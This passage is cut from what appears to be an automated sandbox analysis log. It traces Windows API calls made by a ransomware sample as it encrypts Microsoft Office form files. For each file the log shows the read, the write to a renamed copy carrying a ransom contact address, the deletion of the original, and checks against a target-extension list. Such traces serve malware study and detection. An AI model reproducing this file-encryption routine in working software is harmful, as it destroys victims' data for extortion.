dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.014] GetLastError () returned 0x0 [0262.014] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x31b, lpOverlapped=0x0) returned 1 [0262.187] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x320, lpOverlapped=0x0) returned 1 [0262.188] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.188] WriteFile (in: hFile=0x1b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0262.188] SetEndOfFile (hFile=0x1b8) returned 1 [0262.188] CloseHandle (hObject=0x1b8) returned 1 [0262.188] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.188] SetEndOfFile (hFile=0x1f8) returned 1 [0262.190] CloseHandle (hObject=0x1f8) returned 1 [0262.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg")) returned 1 [0262.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.390] lstrlenW (lpString=".doc") returned 4 [0262.390] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.390] lstrlenW (lpString=".docx") returned 5 [0262.391] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0262.391] lstrlenW (lpString=".pdf") returned 4 [0262.391] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.391] lstrlenW (lpString=".xls") returned 4 [0262.391] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.391] lstrlenW (lpString=".xlsx") returned 5 [0262.391] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0262.391] lstrlenW (lpString=".ppt") returned 4 [0262.391] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.391] lstrlenW (lpString=".zip") returned 4 [0262.391] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.391] lstrlenW (lpString=".rar") returned 4 [0262.391] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.391] lstrlenW (lpString=".bz2") returned 4 [0262.391] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.391] lstrlenW (lpString=".7z") returned 3 [0262.391] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.391] lstrlenW (lpString=".dbf") returned 4 [0262.391] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.391] lstrlenW (lpString=".1cd") returned 4 [0262.391] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.391] lstrlenW (lpString=".jpg") returned 4 [0262.391] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.392] lstrlenW (lpString=".doc") returned 4 [0262.392] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.392] lstrlenW (lpString=".docx") returned 5 [0262.392] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0262.392] lstrlenW (lpString=".pdf") returned 4 [0262.392] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.392] lstrlenW (lpString=".xls") returned 4 [0262.392] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.392] lstrlenW (lpString=".xlsx") returned 5 [0262.392] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0262.392] lstrlenW (lpString=".ppt") returned 4 [0262.392] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.392] lstrlenW (lpString=".zip") returned 4 [0262.392] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.392] lstrlenW (lpString=".rar") returned 4 [0262.392] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.392] lstrlenW (lpString=".bz2") returned 4 [0262.392] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.392] lstrlenW (lpString=".7z") returned 3 [0262.392] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.392] lstrlenW (lpString=".dbf") returned 4 [0262.392] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.392] lstrlenW (lpString=".1cd") returned 4 [0262.392] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0262.392] lstrlenW (lpString=".jpg") returned 4 [0262.392] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.393] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.393] lstrlenW (lpString="OMSMMS.CFG") returned 10 [0262.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.393] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=615) returned 1 [0262.393] CloseHandle (hObject=0x3a8) returned 1 [0262.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg")) returned 0x20 [0262.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.394] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.394] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.394] GetLastError () returned 0x0 [0262.394] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x267, lpOverlapped=0x0) returned 1 [0262.395] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x270, lpOverlapped=0x0) returned 1 [0262.396] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.396] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0262.396] SetEndOfFile (hFile=0x37c) returned 1 [0262.396] CloseHandle (hObject=0x37c) returned 1 [0262.396] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.396] SetEndOfFile (hFile=0x3a8) returned 1 [0262.399] CloseHandle (hObject=0x3a8) returned 1 [0262.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg")) returned 1 [0262.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.400] lstrlenW (lpString=".doc") returned 4 [0262.400] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.400] lstrlenW (lpString=".docx") returned 5 [0262.400] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0262.400] lstrlenW (lpString=".pdf") returned 4 [0262.400] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.400] lstrlenW (lpString=".xls") returned 4 [0262.400] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.400] lstrlenW (lpString=".xlsx") returned 5 [0262.400] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0262.400] lstrlenW (lpString=".ppt") returned 4 [0262.400] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.400] lstrlenW (lpString=".zip") returned 4 [0262.400] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.400] lstrlenW (lpString=".rar") returned 4 [0262.400] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.400] lstrlenW (lpString=".bz2") returned 4 [0262.400] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.400] lstrlenW (lpString=".7z") returned 3 [0262.400] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.400] lstrlenW (lpString=".dbf") returned 4 [0262.400] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.400] lstrlenW (lpString=".1cd") returned 4 [0262.400] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.401] lstrlenW (lpString=".jpg") returned 4 [0262.401] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.401] lstrlenW (lpString=".doc") returned 4 [0262.401] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.401] lstrlenW (lpString=".docx") returned 5 [0262.401] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0262.401] lstrlenW (lpString=".pdf") returned 4 [0262.401] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.401] lstrlenW (lpString=".xls") returned 4 [0262.401] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.401] lstrlenW (lpString=".xlsx") returned 5 [0262.401] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0262.401] lstrlenW (lpString=".ppt") returned 4 [0262.401] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.401] lstrlenW (lpString=".zip") returned 4 [0262.401] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.401] lstrlenW (lpString=".rar") returned 4 [0262.401] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.401] lstrlenW (lpString=".bz2") returned 4 [0262.401] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.401] lstrlenW (lpString=".7z") returned 3 [0262.401] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.401] lstrlenW (lpString=".dbf") returned 4 [0262.401] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.401] lstrlenW (lpString=".1cd") returned 4 [0262.401] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0262.401] lstrlenW (lpString=".jpg") returned 4 [0262.401] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.402] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0262.402] lstrlenW (lpString="OMSSMS.CFG") returned 10 [0262.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.402] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=603) returned 1 [0262.402] CloseHandle (hObject=0x3a8) returned 1 [0262.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg")) returned 0x20 [0262.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.403] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.403] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.403] GetLastError () returned 0x0 [0262.403] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x25b, lpOverlapped=0x0) returned 1 [0262.404] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x260, lpOverlapped=0x0) returned 1 [0262.405] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.405] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0262.405] SetEndOfFile (hFile=0x37c) returned 1 [0262.405] CloseHandle (hObject=0x37c) returned 1 [0262.405] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.405] SetEndOfFile (hFile=0x3a8) returned 1 [0262.407] CloseHandle (hObject=0x3a8) returned 1 [0262.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg")) returned 1 [0262.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.408] lstrlenW (lpString=".doc") returned 4 [0262.408] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.408] lstrlenW (lpString=".docx") returned 5 [0262.408] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0262.409] lstrlenW (lpString=".pdf") returned 4 [0262.409] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.409] lstrlenW (lpString=".xls") returned 4 [0262.409] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.409] lstrlenW (lpString=".xlsx") returned 5 [0262.409] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0262.409] lstrlenW (lpString=".ppt") returned 4 [0262.409] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.409] lstrlenW (lpString=".zip") returned 4 [0262.409] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.409] lstrlenW (lpString=".rar") returned 4 [0262.409] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.409] lstrlenW (lpString=".bz2") returned 4 [0262.409] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.409] lstrlenW (lpString=".7z") returned 3 [0262.409] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.409] lstrlenW (lpString=".dbf") returned 4 [0262.409] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.409] lstrlenW (lpString=".1cd") returned 4 [0262.409] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.409] lstrlenW (lpString=".jpg") returned 4 [0262.409] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.409] lstrlenW (lpString=".doc") returned 4 [0262.409] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0262.409] lstrlenW (lpString=".docx") returned 5 [0262.409] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0262.409] lstrlenW (lpString=".pdf") returned 4 [0262.409] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0262.409] lstrlenW (lpString=".xls") returned 4 [0262.409] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0262.410] lstrlenW (lpString=".xlsx") returned 5 [0262.410] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0262.410] lstrlenW (lpString=".ppt") returned 4 [0262.410] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0262.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.410] lstrlenW (lpString=".zip") returned 4 [0262.410] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0262.410] lstrlenW (lpString=".rar") returned 4 [0262.410] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0262.410] lstrlenW (lpString=".bz2") returned 4 [0262.410] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0262.410] lstrlenW (lpString=".7z") returned 3 [0262.410] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0262.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.410] lstrlenW (lpString=".dbf") returned 4 [0262.410] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0262.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.410] lstrlenW (lpString=".1cd") returned 4 [0262.410] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0262.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG") returned 64 [0262.410] lstrlenW (lpString=".jpg") returned 4 [0262.410] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0262.410] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0262.410] lstrlenW (lpString="OOFL.ICO") returned 8 [0262.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.411] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1078) returned 1 [0262.411] CloseHandle (hObject=0x3a8) returned 1 [0262.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico")) returned 0x20 [0262.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0262.411] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.411] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OOFL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\oofl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.412] GetLastError () returned 0x0 [0262.412] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x436, lpOverlapped=0x0) returned 1 [0262.466] WriteFile (in: hFile=0x37c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x440, lpOverlapped=0x0) returned 1 [0262.467] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b90020, 